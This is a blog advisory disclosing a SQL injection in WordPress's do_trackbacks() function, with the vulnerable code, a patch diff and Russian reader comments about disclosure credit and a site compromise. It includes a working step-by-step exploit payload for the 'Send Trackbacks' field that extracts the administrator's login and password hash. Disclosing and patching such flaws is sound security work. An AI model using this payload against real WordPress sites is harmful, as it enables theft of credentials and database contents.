Vladimir Kolesnikov Меня зовут Владимир, я программист-фрилансер (PHP, Node.js, C/C++, Qt). Ещё занимаюсь администрированием серверов и техническим переводом. Крестиком вышивать не умею.
Ноя 302010
 

Description: SQL injection vulnerability in do_trackbacks() function of allows remote attackers to execute arbitrary SELECT SQL query.

Access Vector: Network
Attack Complexity: Medium
Authentication: Single Instance
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None

UPDATE Dec 1, 2010: This vulnerability was first discovered by M4g and is described in this article.

The do_trackbacks() function in wp-includes/comment.php does not properly escape the input that comes from the user, allowing a remote user with publish_posts and edit_published_posts capabilities to execute an arbitrary SELECT SQL query, which can lead to disclosure of any information stored in the WordPress database.

[-]
View Code PHP
  1. function do_trackbacks($post_id) {
  2.     global $wpdb;
  3.  
  4.     $post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) );
  5.     $to_ping = get_to_ping($post_id);
  6.     $pinged  = get_pung($post_id);
  7.     if ( empty($to_ping) ) {
  8.         $wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) );
  9.         return;
  10.     }
  11.  
  12.     if ( empty($post->post_excerpt) )
  13.         $excerpt = apply_filters('the_content', $post->post_content);
  14.     else
  15.         $excerpt = apply_filters('the_excerpt', $post->post_excerpt);
  16.     $excerpt = str_replace(']]>', ']]>', $excerpt);
  17.     $excerpt = wp_html_excerpt($excerpt, 252) . '...';
  18.  
  19.     $post_title = apply_filters('the_title', $post->post_title);
  20.     $post_title = strip_tags($post_title);
  21.  
  22.     if ( $to_ping ) {
  23.         foreach ( (array) $to_ping as $tb_ping ) {
  24.             $tb_ping = trim($tb_ping);
  25.             if ( !in_array($tb_ping, $pinged) ) {
  26.                 trackback($tb_ping, $post_title, $excerpt, $post_id);
  27.                 $pinged[] = $tb_ping;
  28.             } else {
  29.                 $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
  30.             }
  31.         }
  32.     }
  33. }

The $tb_ping variable is passed to the query in line 1657 unescaped.

Exploitation. The logged in user must have publish_posts and edit_published_posts capabilities (this corresponds to the Author role). Below is an example of how this vulnerability can be exploited (images below are clickable):

Step 1

First, the user creates a new post (title/content does not matter); text to put into the «Send Trackbacks» field is

AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

and publishes it. He needs to wait a bit — for wp-cron.php to process the trackback. The get_to_ping() function says that this trackback is to be processed:

[-]
View Code Text
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

Then the user goes back and edits the post:

Step 2

Now the user duplicates the text in the «Send Trackbacks» field and updates the post

AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,' AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

The get_to_ping() function says that these trackbacks are to be processed:

[-]
View Code Text
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

Query logging shows that WordPress executes this query (reformatted for the sake of readbility):

[-]
View Code MySQL
UPDATE wp_posts
SET to_ping = TRIM(REPLACE(to_ping, 'AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'', ''))
WHERE ID = 11

After that when the user refreshes the page (he may need to wait a bit for wp-cron.php to complete), he will see something like this:

Step 3

Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed.

The screenshots above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch.

Patch: below is the patch against WordPress 3.1 rev. 16609 that fixes the vulnerability:

[-]
View Code Diff
Index: wp-includes/comment.php
===================================================================
--- wp-includes/comment.php (revision 16609)
+++ wp-includes/comment.php (working copy)
@@ -1723,7 +1723,7 @@
                trackback($tb_ping, $post_title, $excerpt, $post_id);
                $pinged[] = $tb_ping;
            } else {
-               $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
+               $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $tb_ping, $post_id) );
            }
        }
    }

  16 Ответов в “WordPress: Information Disclosure via SQL Injection Attack”

Comments (8) Pingbacks (8)
  1. Я опубликовал эту уязвимость + уязвимость в пингбеках в журнале Хакер полтора года назад…
    Пруф: http://www.xakep.ru/magazine/xa/124/052/1.asp

    • Интересно… Я им еще сдал «WordPress Comments Html Spam Vulnerability», только использовал другой подход.

      Вообще я не претендую на авторство уязвимости — нашел я её, в общем-то, абсолютно случайно — кто-то таким раком сайты клиента ломал… А искали мы 0-day в механизме аутентификации. Я просто отдал Райену патчи, устраняющие уязвимости.

      Сейчас добавлю на Вас ссылку в статью. Ссылку ставить на snipper.ru?

      • кто-то таким раком сайты клиента ломал

        А искали мы 0-day в механизме аутентификации.

        эмм, получив каким-то образом права автора перед этим? думаете, что такой одей существует?

        Сейчас добавлю на Вас ссылку в статью. Ссылку ставить на snipper.ru?

        вижу, что все ок, спасибо :)
        Если интересно, вот продолжение первой статьи, тоже полуторагодовалое:
        http://www.xakep.ru/magazine/xa/125/066/1.asp

        • Не, с трэкбэками мелочь была… заметили левые запросы к базе данных при анализе логов производительности… А дальше раскопали запрос, нашли, где он выполняется. А парой строк ниже была фигня с LIKE.

          По поводу 0-day… Какой-то товарищ из Саудовской Аравии сломал ~43 сайта на WordPress (пароли везде стояли разные, все нужные константы в wp-config.php были прописаны). В общем человек с первой попытки подбирал пароль, лез в редактор тем, заливал страницу с исламской тематикой.

          Всё бы хорошо, но все 43 сайта имеют 43 разных владельца, попыток брутфорса паролей с других IP не было. Вряд ли он знал все 43 пароля. Поэтому и искали.

          RE: Фокусы с курлом

          А cURL вроде запрещает редирект на file://? CURLOPT_REDIR_PROTOCOLS (или как там её) явно запрещает редирект на file:// и scp://. Попробовал в CentOS, Debian и Ubuntu (не WordPress, просто самописный скрипт на пять строчек) — нигде не сработало. Причём в CentOS стоит curl 7.15.5, в котором этой константы еще не было.

          Windows под рукой нет, на нём не проверял.

          • Всё бы хорошо, но все 43 сайта имеют 43 разных владельца, попыток брутфорса паролей с других IP не было. Вряд ли он знал все 43 пароля. Поэтому и искали.

            очень интересно… правда, как и всегда, все может оказаться гораздо прозаичнее, вроде плагинов или соседних сайтов..

            А cURL вроде запрещает редирект на file://?

            прикрыли в том же 2009 году) пруф:
            http://securitytracker.com/alerts/2009/Mar/1021783.html

          • Сисадмин клянётся, что это нереально :) Аккаунты пользователей изолированы друг от друга (на каталогах стоят права 0700). Плагины такие, что к базе не лезут. Залезть к соседу можно через уязвимость в Апаче или одном из его модулей. SELinux вроде как выключен(?). Там, правда, еще CPanel есть (а iskorptix — судя по логам, были попытки заюзать его инструментарий — вроде как по слухам умеет CPanel ломать), но логов доступа к ней мне не дали. А по логам доступа к WP получалось, что взломщик с первого раза подбирал пароль. Кроме него в админку заходил только владелец (с постоянного IP). Логи велись с момента установки сайта, так что выглядит всё очень подозрительно.

            Сайты восстановили, но местный админ забанил глобально IP-адреса Турции и Саудовской Аравии :)

            прикрыли в том же 2009 году) пруф:

            А, тогда понятно… :-) А редхатовцы просто сделали бэкпорт в 7.15.5

Leave a comment below if you dare

If by accident you see this form, please do not use it; use the form below this instead.

 Оставить комментарий

(обязательно)

(обязательно)

Вы можете использовать эти HTML теги и атрибуты: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Оставляя комментарий, вы выражаете своё согласие с Правилами комментирования.